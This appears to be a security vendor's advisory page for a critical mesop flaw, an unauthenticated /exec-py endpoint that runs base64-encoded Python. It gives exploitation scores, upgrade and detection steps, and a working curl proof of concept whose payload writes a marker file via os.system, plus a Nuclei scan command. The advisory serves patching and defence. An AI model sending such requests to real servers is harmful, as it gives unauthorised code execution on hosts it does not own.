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CRITICAL severity

GHSA-gjgx-rvqr-6w6v mesop

CRITICALFix: mesop-dev/mesop@825f559

GHSA-gjgx-rvqr-6w6v is a critical-severity (CVSS 9.8) Code Injection vulnerability in mesop. A fix is available for mesop — see the affected versions and patch details below.

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

Also known asCVE-2026-33057PYSEC-2026-412
Published
Mar 18, 2026
Updated
Jun 29, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-gjgx-rvqr-6w6v.

EPSS Exploitation Probability

via FIRST.org ↗
5.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs92th percentile — riskier than 92% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-gjgx-rvqr-6w6v plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,238 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍mesop

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImesopall versions1.2.3pip install --upgrade 'mesop==1.2.3'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mesop, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mesop to 1.2.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gjgx-rvqr-6w6v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-gjgx-rvqr-6w6v can be triaged on real exposure rather than presence alone.

Tailored to GHSA-gjgx-rvqr-6w6v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

How to detect GHSA-gjgx-rvqr-6w6v

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-gjgx-rvqr-6w6v -u https://target
Template
Mesop AI Sandbox <= 1.2.2 - Remote Code Execution
Severity
critical
Impact
Attackers can execute arbitrary commands on the host, leading to full system compromise.
Remediation
Upgrade to version 1.2.3 or later.

Template by ProjectDiscovery nuclei-templates (sammiee5311, liyander), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

#### Summary An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights. #### Details The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web
O3 Security · Impact-Aware SCA

Is GHSA-gjgx-rvqr-6w6v in your dependencies?

O3 Security finds GHSA-gjgx-rvqr-6w6v across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-gjgx-rvqr-6w6v: mesop (Critical 9.8) | O3 Security